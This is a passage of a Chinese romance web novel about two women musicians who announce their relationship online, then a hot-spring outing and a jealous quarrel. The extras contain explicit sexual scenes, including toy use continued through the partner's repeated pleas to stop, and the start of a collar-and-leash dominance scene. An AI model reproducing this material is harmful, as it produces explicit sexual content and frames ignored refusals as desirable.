可柳听颂却将手机丢到一边,几步走进厨房,从后伸手环住对方的腰,将许风扰紧紧抱住。 许风扰下意识抓住她手腕,轻声说了句:“发完了?” 她还没有看手机,昨夜闹得过分,直至天蒙蒙亮时才歇下,过分荒唐后的代价明显,两人一觉睡到中午,最后还是在缅因不满地喵喵声中,才勉强睁开眼。 酸痛的手臂还未来得及揉捏,便先搭在另一人的腰间,小心揉按。 等到稍清醒时,许风扰就先起身,去厨房折腾早餐,想要填饱在体力消耗过大后、不断咕咕叫的肚子。 而被嘱咐多休息一会的柳听颂也起身,不知看到了什么,还没等许风扰折腾好一切、叫她起床,她便缓步走进厨房,抬起手机就拍,说要公开。 许风扰自然由着她,昨夜答应后就不可能反悔,只是疑惑她为什么要那么着急。 “发了……”那人回答了句就停住。 实在累极了,即便是事后被许风扰哄着,用热毛巾敷了十几分钟,可眼睛仍红肿着,嗓音更哑,一副被欺负惨的模样,此刻整个人都压在许风扰身上,既想粘着又站不动。 许风扰无奈,便先将牛奶倒入杯中,继而微微弯腰,竟单手将人抱起,再一手拿起牛奶杯,来回走了两趟才将东西摆好。 柳听颂不管不顾,从昨夜开始就变得极粘人,许风扰抱起她,她就伸手勾住许风扰脖颈,许风扰要坐下,她就跪坐在许风扰大腿上,就是不肯分开。 许风扰哄着她,连牛奶都是递到对方唇边,小心地一口接着一口喂。 那人坦然享受,精致眉眼疲倦,姿态慵懒,唇边的绒毛刚染上牛奶,下一秒就有人替她擦拭干净。 喵喵赶来的大缅因,坐在椅子旁边,甩着扫把似的毛茸茸尾巴,看看这个又看看那个,像在寻找一个合适的位置,想要插入其中。 可两人粘得太紧,让大猫完全找不到空隙,最后只能不甘心地“喵”了声。 许风扰终于察觉到它的存在,刚偏头,想要喊了一声三斤,却又被柳听颂捧住脸颊,强行掰了回去。 “柳听颂……”她低哑的声音带笑,没有丝毫恼怒。 那人不回答,仰头贴在她唇角,将遗漏的奶白汁液吮吸、再顺着薄唇纹理轻吻。 许风扰一手还举着牛奶杯,另一只手却扣住对方侧腰,低头加深这个薄荷味与奶味交织的早安吻。 此刻日光正好,从玻璃窗中探入,柔柔洒落在两人身上,恍惚间,竟已是初夏,又是一年过去了。 短暂分开却觉不够,又连着几个细碎的吻,相贴的脸颊轻蹭,而后额头相抵,碧色眼眸与温润眼眸对视。 柳听颂眉眼柔和,眸光微漾,搅动裏头的水光,泛起粼粼碎光,用沙哑的嗓音轻声道:“早上好,宝宝。” 许风扰只是笑,又在对方唇边落下一吻,小声回应:“早上好,哭包姐姐。” 不等对方埋怨,她又改了口,哄道:“早上好,女朋友。” 柳听颂这才笑起,眼尾春色未散,又添柔妩。 许风扰却还未停下,牛奶杯被放下,双臂紧紧抱住怀裏人,贴在对方耳边开口:“我爱你,柳听颂。” “这句话,昨天晚上没有说,”她如此补充。 “我爱你。” 柳听颂温揉回应,又一次吻住对方的唇。 夏日还长,她们还有漫长时间可以接吻、表白,肆意消磨。 第92章 许风扰别亲了,口红有毒! 许风扰得知此事时, 已是下午时候。 彼时,她正在试图搜索如何快速消肿,一连串消息都被随手忽略, 可那楚澄不甘被无视, 也连着发了好些,刚好让许风扰瞧见几条。 许风扰一愣, 手比脑子更快地接通楚澄的语音电话。 迫不及待的声音接连冒出,依旧夸张。 “不是姐,你这一晚上干嘛去了?!现在都几点了。” “先是天星娱乐转发你V博, 后是柳听颂官宣, 现在V博都炸了!” 许风扰没回答, 只点开楚澄发来的截屏,无声垂眼凝视。 还记得第一张照片。 那时两人还没在一起, 柳听颂送了她人生中的第一把贝斯, 她们一起坐在简陋的练习室裏, 等待着宿醉迟到的老师。 忘记了是谁主动提起, 便抬起手机, 留下了两人的第一张合照。 竟已匆匆过去那么多年…… 许风扰眼帘颤了下, 大拇指划过屏幕, 翻涌的情绪复杂。 不远处的大猫吃完罐头,又乐颠颠地往她怀裏钻,远处的浴室裏有水声响起,热气从门缝中挤出。 “许风扰!你能听见吗?” “嫂子都做到这一步了,你准备怎么回应啊?” 这人好笑,称呼换来换去, 现在又变成最熟悉的称谓。 许风扰终于开口,却只说:“我知道了。” “不是, 你知道什么了?”挠心挠肺一晚上的楚澄,被这敷衍回答惹炸,声音一扬就喊道。 “你可不能不回应啊?嫂子都做到这一步了,你要不回应,那不成渣女了吗?”话到这裏,楚澄竟有点哄人的感觉:我知道你不稀罕这些,也不在意别人怎么评价你,但是咱们得给嫂子一个回应不是” “总不能让别人觉得她倒贴着你吧!” 这话越说越怪,许风扰扯了扯嘴角,冒出一句:“啰嗦。” 她又不是不想,楚澄这一叭叭,倒好像她多没良心似的。 楚澄终于听懂,嘿嘿一笑,突然就道:“去年咱们的温泉也没泡成,要不过几天约” 她语气刻意加重:“正好带上嫂子。” 之前的中秋温泉因车祸、许风扰离开S市而被迫取消,虽然许风扰让她们先聚,之后自己回来再补一次,但少了人的聚会总缺点什么,众人商量后就取消,至今未能补上。 许风扰眼眸一晃,继而就道:“好。” 这一次的回答不再含糊,轻松就能答应。 楚澄一乐,又扯着她说了不少,而后才挂断电话。 片刻后,不等V博恢复,许风扰就在另一个平臺发布了视频。 一群因登不上V博,而搔头抓耳的家伙纷纷赶来,刚才没能吃上的狗粮,现在又被塞得满嘴。 视频被点开,钢琴声响起,只见许风扰身处在一间满是礼物的房间裏,低头弹响身前的电子琴。 还是是那个熟悉的曲调,海浪拍打着礁石,哼唱声依旧,依稀回忆起,这曲子是之前没有任何预告就提前发出的半成品,原以为很快就要被填词发出,却没有一直拖到现在,终于完成。 窗外暖阳,许风扰还穿着厚重的棉衣与围巾,低头时,半边脸颊都埋进裏头,比现在更深的肤色加重了眉眼间的锐利,却在温柔哼唱间,变得越发柔和。 大抵是改了写曲调,原版更清新干净,让人联想到晨起的薄雾、少年人奔向心上人的雀跃脚步、忐忑又带着青涩的期盼。 如今却有一种温柔朝霞洒落,尘埃落定,相爱的恋人缓缓走向对方的坚定。 但无论如何改变,都能听出曲子中的深情,与字字都在告白的歌词契合,甜得腻人。 风吹起许风扰的围巾,窗外的雪又一次飘零落下。 等了半天,又发信息催促过一次的楚澄咧开嘴笑,那么大个家伙抱着手机,在沙发裏滚来滚去,愣是放放停停两三次才彻底听完,揉了揉早已笑僵的脸颊,小臂上不知何时冒出一堆鸡皮疙瘩。 甜是甜,但看熟人秀恩爱还是有一种诡异的脚趾扣地的感觉,可又忍不住继续看完,甚至还想再来一遍。 她抿了抿过分上扬的嘴角,试图收敛一下,可视线往下一落,又瞧见新歌的名字。 《致我失而复得的爱人》 谁说许风扰不会回应,她明明早就想好,在那个乍暖还寒的时节,在她第一次踏入柳听颂生活了五年的小房子裏,她就已经做好一切准备,只等柳听颂松口,只等着这一天。 楚澄甜到发慌,绕了一圈又找到当事人,忍不住在依旧没有得到回复的聊天框裏发疯,发了一堆啊啊啊啊后,又打字。 【还是你会!还是你会!下次还得找你帮我追人】 【嫂子听了吗!怎么说怎么说】 【我刚刚看见你两有一个超话,火速关注,望不辜负】 除去她外,还有许多人又发来消息,许风扰简单回复几句,直到柳听颂踏出浴室后就停住,手机与怀裏的缅因都被丢到一边,很快就有吹风机的声音响起。 继而再到晚间,V博终于恢复后,这些天一直身处舆论中心的许风扰终于上线* 。 先是晒出了与导演的聊天截图,与节目组的沟通内容,表示是节目组再三邀请自己,许风扰才松口同意,不曾有过除此之外的其他交流,更别说其他黑幕。 另外表明,自己与燃陨其他人在商议后,已决定成立乐队工作室,并未与天星娱乐等传媒公司签约,未来也不会考虑。 最后还发出律师函,表明她要将恶意造谣、污蔑自己的程婉告上法庭。 如此一番,众人都被许风扰的利落手段惊到,之前的谣言自是不攻而破,外加之后节目组与导演一并站出澄清,并表示程婉已主动退赛,此事便基本结束,偶尔还有些风言风语,却掀不起太多波澜。 大家更关注的是,发完以上内容后,许风扰又在线半小时,琢磨来琢磨去,终于把柳听颂的V博转发,并又将柳听颂的文案重新手打一遍,多添了几个红色爱心。 那些眼巴巴等着她的网友,全被她气笑,没瞧见全网都在疯狂猜测她们如何认识、什么时候在一起,为什么分开又复合的吗 甚至都有人通过蛛丝马迹,出了了一堆视频了。 她们还以为许风扰能憋出什么,原来半个小时就磨出几个爱心,幸好在众人哭笑不得时,这人终于又发出一条V博。 刚准备吐槽的网友表情一喜,连忙刷新看过去。 就见她又发了个视频,是今日下午,两人自觉亏待了三斤,便一起盘腿坐在地毯间,拿来逗猫棒等东西,陪它玩闹。 故而,视频裏只有一只被逗得跑来跑去的大缅因,左追右赶间,肥得几乎贴地的肚皮摇摇晃晃。 将声音放大后,便能听到柳听颂与许风扰两人轻笑与亲昵打趣。 “……翻了吗?”柳听颂嗓音微哑,却温柔。 “快了快了,刚刚后腿抬了下,”许风扰略微紧张。 “逗猫棒再抬高点,”柳听颂试图指导。 “刚刚才抬起来一点,这家伙就一屁股坐下了,”许风扰声音无奈,满是恨铁不成钢的意味。 “慢慢抬,不着急,”柳听颂轻声劝道。 视频裏的猫再一次跟着跳起,却依旧没能在逗猫棒的引导下往后翻。 气得许风扰暗暗发出“哎”的一声,柳听颂就笑,哄着道:“已经后仰了一点,真棒。” 许风扰不吃她这一套,暗自嘀咕:“你上次到底怎么做到的……” 旁边人只是笑。 对面的漆黑玻璃倒映出一点虚影,依稀能瞧见两人贴在一块,曲线更明显的那位靠在个子更高的那位肩膀。 “喵!” 随着一声气愤的猫叫,视频彻底结束。 再看许风扰文案,同柳听颂一般的简洁明了,就两字:“此刻。” 明明比起其他人,这两人发出的东西已足够多,可还是让大家挠心挠肝似的痒,好像几个小时就尝到的一点点蜜水,完全不解渴,反倒生出更多渴望,让评论区哀嚎一片。 【就不能发多点吗?这就是恋爱中的柳听颂吗,那笑声好苏】 【天啊天啊,这两人怎么会谈,能不能教我点】 【声音放到最大声,好像听到一声啵声有谁听见了吗】 【确实亲了一下,玻璃上的影子也跟着动了点】 许风扰匆匆看过评论,一条没回,只是默默将这条V博置顶,惹得大家疯狂打趣,说要不是怕影响到这条视频,许风扰估计都懒得理那程婉。 现在先澄清解释,估计也是怕程婉影响到了她的最新一条V博,所以连忙发了一条,再将视频压在它上头,看许风扰如此认真的程度,估计之后再难看见她发微博了。 大家开始乱猜,却完全忽略了视频裏几乎要跑断气,但没有复刻上一次后空翻的缅因,更遗忘了早上特地站出来的天星娱乐与许南烛,注意力完全在柳听颂与许风扰的恋爱上,只是可惜,除了这些外,两人再没给过其他回应。 再晃眼,已是半个月过去。 音综又直播了两期,自官宣后,柳听颂与许风扰不再避嫌,每一期直播都有一堆人跑来磕糖。 每次许风扰与柳听颂避开旁人的相处,也不再像之前一样满屏问号,而是各种打趣,V博热搜词条也随之变化。 #天后今天夸小狗了吗# #许风扰又又牵柳听颂进化妆间了# #节目组到底什么时候在化妆间加摄像头# #许风扰又又又又又牵柳听颂进化妆间了# #到底什么时候能把化妆间的门拆了!# #许风扰别亲了,口红有毒! # 听风超话也随之水涨船高,一度登上CP超话榜首。 不过让人遗憾的是,在柳听颂与许风扰的双人舞臺结束后,许风扰便发文宣布退赛。 她在文中感谢了节目组与观众,并表示因自己与柳听颂的关系,让原本该专注于竞技的音乐综艺,发生了些许本质上的改变,对其他选手并不公平,所以向众人告歉道别,并在文章末尾,看似轻描淡写,实际无比认真地添了句。 柳听颂前辈一直是我最喜欢的歌手,她对音乐的热爱与坚持,鼓舞着我在这条路上不断前行。希望她能在这个比赛中收获更多让自己满意、观众满意的舞臺。 另外,通知女朋友一声,我和猫猫会在家裏乖乖等着你捧着奖杯回来。 这退赛声明一出,又让一群人大喊牙酸,笑着骂着顶上了热搜第一,大家都纷纷跑去柳听颂V博,叫她管管这天天摇着尾巴、见缝插针秀恩爱的傻狗。 许是呼声太大,柳听颂在十分钟后就给出回应,但却不是网友期盼的那种回答,而在许风扰博文下面,评论了个好,并补了个小爱心。 告状不成反塞一口狗粮的网友,只能表示自己完全是小情侣普雷的一环。 就如此闹腾着,直到了音综结束,两条热搜一并冲上V博。 #柳听颂夺冠# #许风扰与柳听颂结婚# 第93章 番外一:温泉 “昭昭,别再往裏头丢了! “这一池子全是你的玩具!” 崩溃的大喊声响起,隔墙外传出接连不断的笑声,还有小孩不甘心的反驳。 此时还是初夏,夜间微凉,用圆石堆砌的池子冒着白雾,淡淡的硫磺味包裹,水波掀起洒落的花瓣,笑语不断。 推迟又推迟的聚会终于在今天补上,只是与之前计划略有不同,如今不止纪鹿南有老婆,许风扰、况野皆带了对象,而楚澄也喊来了未来女朋友,这一对对在池子黏糊,总归不好,尤其还有个小孩。 于是,众人商量了下,便白天聚在一块露营烧烤,晚上租下几间联排的温泉别墅,私汤相连,只用砖墙相隔,虽然互相瞧不见,但声音稍大些,便能聊天。 “昭昭!姨姨送你的那两个玩具拿来了吗?” 楚澄看热闹还不够,还要往裏掺和,故作委屈地喊道:“你拿了别的玩具,不拿姨姨买的,姨姨会难过的。” “楚澄!” 纪鹿南崩溃大喊一声,还没有来得及再说其他,便听到昭昭奶声奶气地喊道:“昭昭没有忘记!” 可下一秒就听到楚轻焰出声:“昭昭你慢点跑,那个玩具放在另一个行李箱裏。” “知道了知道了妈妈,你别说话,万一给橘子姨姨听见了,”小孩又气又心虚地喊道。 另外几人不嫌事大,还笑着拱火。 “昭昭,那姨姨买的呢姨姨可是挑了好长时间。” “我买的小黄鸭放进去了吗?昭昭你可不能厚此薄彼啊。” “许风扰!况野!” 警告的大喊声又响起,期间还有昭昭穿着小拖鞋的踏踏声,不知道忘了多少,来来回回跑了好几趟。 乐得许风扰直笑,偏头埋进柳听颂颈窝裏。 那人非但不拦,还伸手揽住她,低声嗔了句:“坏东西。” 此刻两人都身穿泳衣,较清凉单薄的款式,一黑一白贴在一块,小麦与瓷白肤色本就对比鲜明,更何况许风扰还故意将腿搭在柳听颂大腿。 “又没欺负你,”许风扰小声嘀咕,抬头间,开合薄唇有意无意滑过耳垂,很没有底气的一句话。 柳听颂斜斜瞥她一眼,声音依旧清润,却带着克制不住的喘息:“这都不算欺负,什么算欺负?” 许风扰唇边弧度得意,说话却无辜:“怎么就欺负你了?” 压在对方身上的腿隐隐用力,稍认真才能瞧见,她好像在故意压住对方,迫使柳听颂夹住,而周围水面掀起不自然的小弧度波纹。 许风扰眨了眨眼,碧色眼眸如被水浸过的宝石,澄澈而干净,好像十分关心道:“不舒服吗?姐姐。” 气得柳听颂抬腿想踹她,却被死死压住,与此同时,另一只捏着遥控器的手往上一按,只见原本的数字从一又跳到二。 柳听颂呼吸一颤,下意识握紧许风扰的手腕,泛起水雾的眼眸可怜,像在求饶。 她极力控制着声音:“别、别闹。” 可许风扰却不理,反而又高声道:“昭昭,找到阿风姨姨送你的玩具了吗?” 旁边的房间一静,紧接着就冒出小女孩慌慌张张的声音:“什么?” “那个会划水的小猪,昭昭不是说最喜欢它了吗?” 那小孩视线一扫,顿时松了口气,乐颠颠就道:“在呢在呢,昭昭早就把它放进去了。” 她又补充道:“小猪正在划水。” “哟,昭昭就喜欢阿风姨姨买的小猪啊,”楚澄连忙接上,愣是装出哭腔,凄凄惨惨就道:“昭昭果然比较喜欢阿风姨姨,完全不喜欢橘子姨姨。” 小孩子哪裏懂什么叫左右逢源,只知道一个人都不能辜负,语气慌得不行,还要安抚楚澄。 “我最喜欢橘子姨姨买的东西了,我都舍不得用。” “我呢?昭昭……”况野也出声喊道。 纪鹿南没再说话,知道拦不住她们,只能偷偷摸摸把池子裏的玩具往外搬,而旁边的楚轻烟,则帮忙吸引着昭昭注意力,即便什么都没商量过,可多年相处,还是让她们充满了默契。 昭昭哄完这个哄那个,忙得不行。 柳听颂一直没出声,也没办法出声。 咬紧的下唇印出小小凹坑,无意识仰头,纤长的脖颈在拉扯中,露出一截莹白喉管,随着吞咽上上下下。 披散发丝垂落池中,随着水波轻轻摇晃,与另一人的发丝勾在一块。 许风扰还不肯放过,平常看着乖巧,一旦作坏就止不住,之前还好端端泡在池中,后面借着端果盘由头,在房间裏翻来覆去好一会,再出来时,手中就不止切好的果盘。 柳听颂碍着其他人还在一墙之外,不肯松口同意。 结果这人坏得很,亲着哄着就塞进去了,完全不给柳听颂反抗的机会。 数字攀升,颤动更剧烈,柳听颂不禁想要抬腿夹住,又被许风扰强硬按住。 过分得很。 气得柳听颂偏头,一下子咬住许风扰的唇,完全没留力,让许风扰冒出“嘶”的一声。 即便如此,柳听颂还是不松口,被欺负狠了,再好的脾气也不行,故意用尖牙磨着,其余软肉也被夹抿着。 水面荡漾间,轻轻摇晃起,撞向旁边的圆石,肌肤染上薄红,一双长腿挣扎着侧曲起,妙曼曲线在粼粼波光中若隐若现,起伏水面如浪花几次攀上圆弧,将冒出的薄汗抹去。 呼吸更重,许风扰抬眼看她,轻易就撬开对方牙关,探入其中。 扣在手腕的手在拉扯,试图让其贴过来些,与舌尖一并,缓解其余感受。 可许风扰记着之前被咬的仇,怎么都不肯贴近,死死定在原处,气得柳听颂想说些什么,又被堵住,只能发出两声唔唔声,表达不满。 因在半山间,周围静谧,除了她们外就无别人,连灯火都稀薄,就只剩下照亮环山路的路灯,无车行驶,晚风吹响两旁林叶,掀起层层墨绿的海浪。 不知何时停下,众人不再逗昭昭,专心与身旁人聊天。 楚澄声音最大,憨得不行,不知又说了句什么,惹到对方后又连声道歉。 想到今天下午,一群人露营烧烤时,她也这样,往日欠兮兮习惯了,可喜欢那位却是个娇气可爱的,一天能被楚澄气到好几次,搞得楚澄都快把对不起、我错了变成口头禅了。 许风扰三人还偷偷讨论过,觉得楚澄这事挺悬的,虽然两人都是搞乐队的,可明眼人一瞧,都会觉得这两人不是一个世界的。 而那女孩刚开始也不怎么搭理楚澄,甚至对同打架子鼓的况野更亲近些,气得楚澄直扼腕,恨不得现在就穿回去,把电吉他改成架子鼓。 也不知这段时间发生了什么,楚澄废了多少心思,这才将人哄得松口。 再看许风扰,果真是被哄着、惯着的那一位,比起另一边卑微大狗,她可就嚣张得不行了。 被拽住的手怎么都不愿贴过去,反倒是压住的腿松开,看似要往后退,拉远距离,实际却是让年长那位贴过来,她再用手扣住对方腿弯,引导着对方跪坐在她身上 吻还在继续,连同底下的颤动一并掀起难耐感受。 显示屏上的数字由三到六,没有一点过渡,直接攀升迭加。 柳听颂腿脚一弯,竟直接跌进对方怀裏。 “别……够了、够了,”她试图求饶,那声音柔且哑,不知受到了怎样的折磨。 “宝宝、宝宝。” 胡乱抓住对方的手,虽是在求着停下,可实际却拽着对方往自己身上按,不知是这水太烫,还得其他,肌肤越红,眼尾、耳垂乃至脖颈往下都是一样的颜色。 许风扰在她耳边闷笑,得了便宜还不够,低声道:“小声点,别被她们听见了。” 气得柳听颂压住她脑袋,往自己怀裏埋,堵住她只会说废话的嘴。 水波起伏更大,绷紧的脊背纤薄,被发丝半遮半掩的蝴蝶骨开合,微微凹陷的节节脊柱发颤,不堪一握的腰肢无意识地扭,在低头时,细眉更蹙,极力忍住羞赧,却又忍不住红了耳朵,贴在对方脸颊边小声低喘着。 “宝宝、”她努力维持着字句:“宝宝太快了,慢一点好不好?” “太快了、” “受、受不住,”短短几个字却说了半天,字句起伏,尾音拖长,不仅没有让人生出怜惜,反倒越发想要欺负,最好是…… 直接欺负哭。 于是显示屏上的数字不减反增。 柳听颂身体一顿,越发颤抖,反复延长的感受鲜明,叫她躲避不得,只能承受。 “楚昭昭!你把一堆玩具泡水裏也就罢了,这是什么!” 突然的咆哮打破寂静,大家伙不由竖起耳朵,朝那边倾听。 只听见那小孩委屈巴巴地开口:“我就是想试一试、是书上说的,温泉可以煮鸡蛋。” 原来是丢鸡蛋了。 几人不消赶过去看,就能想到纪鹿南她们那池子有多热闹,说是温泉浴,还不如叫玩具浴池,可把小家伙乐坏了,一直嫌家裏的浴缸太小,容不下她的一堆宝贝,如今终于可以全部摆出,不过……怎么还有鸡蛋的。 “这是人泡的池子!” “鸡蛋很脏的。” 半大的孩子最折磨人,即便解释了还要坚持。 昭昭眼睛一眨,就道:“不会的,昭昭特地找姨姨要了无菌蛋。” 她还强调:“妈妈说过,无菌蛋是消毒的好蛋,很干净。” 听戏的众人纷纷忍不住笑起。 就连柳听颂也多了一丝笑意,可下一秒就被拉扯回注意力。 那布料本就单薄,系在脖颈的细带未系太紧,被人咬住后就往后扯,三两下就拽开。 腰被扣住,掐着往裏,头埋得更深。 柳听颂无法管束,没力气去管束,只能越发抱紧对方脑袋,以免被水流冲走。 旁边的遥控器被按到最大,柳听颂抖得更加厉害,起伏的腰腹绷紧,线条越发清晰,泛红的眼尾氤氲雾气,欲念破碎开。 发丝纠缠在一块,随着水波摇晃后又贴在细腻肌肤上。 “宝宝、宝宝,”那人呢喃着,胡乱揉乱对方发丝,像求饶又好像渴求,胡乱说着话。 “阿风、宝宝,”她低低哼着,用不成调的字句央求,可下一秒就骤然停住,完全绷紧,继而是止不住的战栗,连细腰都曲起。 彻底跪不住了,腿脚一弯就跌下来,无力抱着对方,大口喘息。 许风扰抱着她哄,轻抚过对方脊背,略带薄茧的手每次落下都会惹出一阵颤,像是不受惊的含羞草,一碰就要缩起来。 “可以了、可以。” “停下。” “停了、可以了。” “宝宝、够了,停下。” 此刻夜色正好,漆黑天空点缀着碎星,缥缈的雾凝聚又散开,模糊了山峦轮廓,只能瞧见几缕墨色,化不开也散不掉,虫鸣声嘈杂。 别墅小院裏有颗樟树,比围墙更高,舒展开的枝干林叶茂密,光从绿叶缝隙中挤出,散落往下,便形成斑驳的蝴蝶光斑,刚好落在柳听颂肩头,让许风扰有了啄咬的由头,留下淡淡的红。 作乱的东西终于被拽出,直接丢在一边。 柳听颂还没有来得及反应,就被推到一边坐下,紧接着许风扰淹没水中。 “别、别,够了……” 话还没有说完就被打断,那人哪裏会理会,肩膀搭着对方的腿,稍用力便抬高。 还未缓过来的柳听颂更抖,连说话的力气都没有,只能咬着下唇,极力压低呼吸。 晚风吹过,两旁墙壁笑语依旧。 况野依旧沉闷,半天都说不出一句话,幸好乔笙是个活泼的,平板架在边缘,拽着她叽叽喳喳说着话。 只是她思维实在跳跃,一下子在说播放的电视剧,一下子又提起自己,一下子又问起况野其他,毫无逻辑,完全是想说就说。 可况野都一一回应,哪怕有时候跟不上对方,也会停顿一会,等想清楚后再慢慢回答。 而楚澄那边就好笑了,不知发生了什么,这两人愣是坐在池子两边,一人低头,一人偏头,互相红着脸,完全不敢看对方。 唯一能看出端倪的是楚澄微肿的嘴唇,像是被人咬过,多出了一个小小伤口。 最最痛苦的是纪鹿南和楚轻焰,哄来哄去后,最后索性起身,抱着孩子就回屋去,打算先把这祖宗哄睡着再说。 夜色更浓,夏风携来春寒,不知过了多久,池中的水都冷却,裏头的人不见踪影,只见单薄的布料漂浮在水面,还有周围狼藉的水迹,像在诉说着刚刚发生了什么…… ———————— [奶茶] 第94章 番外二:妈妈……求你…… 关于许风扰退赛这事,柳听颂也是看过V博后才知道的,不知道对方什么时候冒出这个念头,自己就偷偷做了决定。 明面上还是给了许风扰面子,思来想去回了个好,可私底下却憋着气,直到找借口出门的许风扰回来,依旧没有半点缓和。 房门被小心关上,那人自知理亏,蹑手蹑脚地将东西提进厨房,又简单清洗后,换了身宽松家居服,这才踌躇着走向柳听颂。 柳听颂半躺在床头,垂眼看着书,精致眉眼在面无表情时,总显得凉薄疏离,透着拒人于千裏之外的冷。 叫许风扰越发忐忑,走到床边侧坐下,拽着柳听颂的手就喊:“姐姐……” 这个时候知道喊姐姐了,也不知道平常一口一个柳听颂的人是谁。 柳听颂不理她,视线仍然停留在手机屏幕,好像当她不存在。 那人心更虚,摇了摇柳听颂的手,声音更低,小声告饶道:“姐姐,你生气了” 她捏着柳听颂的手,从指腹到指根,慢慢攀往上,一双好看的碧绿色可怜巴巴,像是小狗在认错。 为了证明自己的歉意。 她慢吞吞又缩下去,长腿一曲,便跪在床边。 “柳听颂……”许风扰又喊,刻意拖长的语调,半垂的眼帘浓且翘,略带肉感的唇与圆润唇珠微翘,让人想亲又想咬。 面前的书已许久没有翻页,白纸上的黑字变成之前看过的条条评论。 柳听颂知晓,许风扰其实一直很受粉丝喜欢,在燃陨乐队裏头,数她梦女最多,每次发视频,随意一扫都能窥见几条过分言语,一下子嚷嚷着要当许风扰的小狗,一下又要把许风扰训成狗,这狗链子甩来甩去,也不知道落在谁的脖子上…… 柳听颂眼眸沉了沉,大抵是被气狠了,往日觉得习以为常的事情,此刻都一股脑冒了出来,变作生气的理由之一。 书被丢开,柳听颂又拿起手机,单手翻阅。 而旁边的许风扰还在装乖,脸颊贴在她的右手掌心,蹭来蹭去。 “姐姐、柳老师、女朋友,”她冒出一连串称呼,说话时的颤动在掌心留下密密麻麻的痒。 “我错了嘛,姐姐。” 这个时候倒知道认错了,自作主张的时候也没见她透露一点。 柳听颂瞥了她一眼,指尖微抬,不知是有意还是无意,划过圆润唇珠。 许风扰就乖巧贴来,轻轻咬住她指尖。 这还是两人复合后的第一次,刚开始时的关系更偏向于柳听颂主导,虽然许风扰嘴上不提,可还未出头的小歌手在天后面前,总归是自卑的,有意无意露出低姿态的模样,如今这种做法,在那时可没少发生。 而五年后,柳听颂自觉理亏,便一味惯着许风扰,再恶劣的举动都纵容,如今也是,柳听颂指尖动了动,又开始心软。 可视线偏移,恰好瞧见许风扰眼中一闪而过的狡黠。 那人明面还在装乖巧,用老老实实语气继续:“姐姐我错了。” “我刚刚路过超市,买了点剁肉,晚上我给你做肉圆子好不好?” 柳听颂不怎么爱吃,平常口味也偏清淡,能谈得上喜欢的菜式,也就一道菌菇肉圆汤,这也是许风扰唯一擅长的菜。 “我还买了花……”许风扰眨了眨眼,说:“没想到这个时候还有荷花。” “已经拆开插进花瓶裏了,你想看看吗?” 见柳听颂还没有反应,她又补充道:“我拿进来给你看?” 你看这人,恶劣得过分。 明明知道自己犯了多大的错,连忙讨好补救,却想不到提前商量。 或者说她清楚明了,可在费时费力的沟通与先斩后奏中,毫不犹豫选择后者,反正柳听颂一向纵容,她撒撒娇就能得到原谅,所以有恃无恐、肆无忌惮。 柳听颂不回应,许风扰就以为她是默认同意,刚想起身去拿花,却被扣住脸颊,不准动弹。 许风扰眨了眨眼,终于察觉到一丝不对劲。 青涩年纪裏的记忆还是太深刻,早已篆刻进骨子裏,成为下意识的本能。 瘦削脊背挺直绷紧,连膝盖都挪了下,并在一块后双手搭在上头,与掐红的脸颊相衬,更显乖驯。 “我不是故意瞒着你,我只是怕你会不同意。” “我的重心本来就在乐队上,这个综艺虽然好,但并非我喜欢,要不是你在……哪怕节目组再三邀请,我也不会过来。” “现在综艺的本质已经变了,这两期节目你也看了,即便镜头转到其他人身上,弹幕也在全在说我们,这对别人并不公平。” 她规规矩矩地一点点解释,若放今天以前的任何时间,柳听颂都会理解、原谅,可如今…… 柳听颂眸光更沉,无意扣紧的手指,掐出小小凹坑,同时也感受到不同于之前的粗粝。 回忆无端涌出,其实也只是件寻常小事,但不知道为什么会在这个时候想起。 许是混血的缘故,许风扰之前的皮肤白净又细腻,即便没有刻意保养,也比寻常人好得多,甚至丢在美人如云的娱乐圈裏头,也不输于任何人。 可几个月的藏区经历折磨,好端端一个白皮小狗,愣是晒成小麦色,回来之后的好长一段时间都还有高原红残留,虽然不明显,可谁叫柳听颂离得近,看得比所有人都清楚,甚至无数次体会到她变得粗粝的皮肤,在头埋在腿间,脸颊不断擦过大腿内侧时,感受尤其清晰。 像是一遍遍提醒着她,她曾有几个月彻底失去了许风扰的消息,无望地等待。 柳听颂呼吸一顿,思绪试图拉扯回来,可还是忍不住想起更多。 许风扰不大喜欢护肤,总觉得涂涂抹抹很麻烦,仗着自己底子好就不管不顾,还嚷嚷着自己是搞乐队的,又不是什么爱豆,折腾那么多做什么。 可自藏区回来后,柳听颂就试图让她涂抹些水乳,许风扰表面答应,可一旦没有柳听颂督促,就假装忘记。 不乖。 柳听颂脑子裏突然冒出这两字,之前的回忆彙聚成一块,便总结为不乖。 是不乖的小狗。 脑后中的声音变得愈发肯定,连许风扰的絮絮叨叨都变成了狡辩。 “姐姐” 柳听颂回过神,垂眼看向对方,黑白分明的瞳子在此刻更是寒冽,如同雪山中枯枝之上的一抹白雪,让许风扰缩了缩脖子。 “你也知道……”借口说到一半就止住,许风扰讨好似的蹭了蹭她的手,跪得发酸的膝盖一动不敢动,终于知道害怕了。 柳听颂没理她的怂样,眼神一转,看向旁边的床头柜。 许风扰跟随看去,明显有些懵。 柜子裏的东西,她最清楚,那些陆陆续续买来的玩意都放在这裏面,以便取用。 她有些犹豫,又怕柳听颂生气,但还是伸手将柜子拉开,其实心裏头还存着侥幸,觉得柳听颂不会对她做什么,所以不是很怕。 裏头的东西堆成小山,许风扰琢磨了下,挑了个黑色的皮质项圈,周围悬着四五个小铃铛,一晃就响。 许风扰低头系上,将还栓在上头的银链放在柳听颂手心。 可柳听颂却还不满意,视线一扫,落在那个黑色的狼耳朵上,意味明显。 项圈都戴了,也不差这一个。 许风扰随手一抓就箍在脑袋上,哼哼就道:“姐姐不生气了嘛?” 她长得本就好看,浓颜系的五官轮廓最能吸引视线,小麦色与碧色眼眸相配,侵略性更重,如今戴上狼人与项圈,便更具野性,不知被那些个嗷嗷馋许风扰身子的粉丝瞧见,会闹出怎样的风波。 柳听颂不想知道,只拽了拽手裏的链子,言简意赅道:“脱。” 许风扰怔了下,终于意识到些许不对,不由开口,以极快的语速道:“我不退赛的话,这个综艺就彻底废了,眼下看着繁荣,可大家看这个综艺的最初目的就是为了舞臺,如今却变成抄CP现场……” “脱。” 不管这人的唠唠叨叨,手中的铁链绷紧又松开,摇摇晃晃。 许风扰咬了咬牙,抬眼看看柳听颂,又低头看着自己的衣服。 扣子被一颗颗解开,衣服被丢在一边,裏头是一件浅灰色的运动内衣,刚好露出劲瘦腰腹,马甲线若隐若现。 